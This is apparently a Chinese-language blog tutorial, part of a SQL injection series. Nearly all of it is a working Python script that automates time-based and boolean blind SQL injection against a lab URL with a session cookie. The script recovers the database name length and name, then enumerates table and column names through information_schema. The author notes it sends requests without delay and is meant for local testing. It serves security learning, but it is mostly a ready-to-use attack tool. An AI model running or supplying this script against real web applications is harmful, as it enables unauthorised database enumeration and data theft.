sql注入(7), python 实现盲注爆破数据库名, 表名, 列名

python 实现盲注

该python脚本根据之前介绍的盲注原理实现, 对于发送的注入请求没有做等待间隔, 可能给目标服务器造成一定 压力, 所以仅限于本地测试使用.

import requests, time

# 时间型盲注
def time_blind(base_url, cookie):
    for length in range(1, 20): # 测试数据库名长度 1~19
        start = time.time()
        header = {"Cookie": cookie}
        url = f"{base_url} and if(length(database())={length}, sleep(3.5), 1)"
        _ = requests.get(url=url, headers=header)
        end = time.time()
        resptime = end-start
        if int(resptime) >= 3:
            print('数据库长度为:', length)
            break
        else:
            print(url)

# 布尔型盲注爆列名
def bool_blind(base_url, cookie):
    chars = "abcdefghijklmnopqrstuvwxyz0123456789_,"
    session = requests.session()
    base_url = base_url
    header = {"Cookie": cookie}

    # 先定义猜对的时候的长度
    resp = session.get(url=base_url + " and 1=1", headers=header)
    base_len = len(resp.text)

    # 先获取数据库长度
    for db_len in range(1, 20):
        url = f"{base_url} and length(database())={db_len}"
        resp = session.get(url=url, headers=header)
        if len(resp.text) == base_len:
            break

    print(f"数据库长度：{db_len}")

    # 根据数据库长度猜名称
    db_name = ''
    for i in range(1, db_len+1):
        for c in chars:
            url = f"{base_url} and substr(database(), {i}, 1)='{c}'"
            resp = session.get(url=url, headers=header)
            if len(resp.text) == base_len:
                db_name += c
                break

    print(f"数据库名：{db_name}")

    # 根据数据库名称猜表名
    table_name = ''
    for i in range(1, 40):
        for c in chars:
            sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
            url = f"{base_url} and substr(({sql}), {i}, 1)='{c}'"
            resp = session.get(url=url, headers=header)
            if len(resp.text) == base_len:
                table_name += c
                break

    print(f"数据库中的表名：{table_name}")

    # 猜所有表的列名
    table_list = table_name.strip().split(',')
    for table in table_list:
        column_name = ''
        for i in range(100):
            for c in chars:
                sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{table}'"
                url = f"{base_url} and substr(({sql}), {i}, 1)='{c}'"
                resp = session.get(url=url, headers=header)
                if len(resp.text) == base_len:
                    column_name += c
                    break
        print(f"表{table}的列名：{column_name}")


if __name__ == '__main__':
    url = "http://192.168.112.200/security/read.php?id=1"
    cookie = "PHPSESSID=b4d659be5e17d948fd8e18078003d3f6"
    time_blind(base_url=url, cookie=cookie)
    # bool_blind(base_url=url, cookie=cookie)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83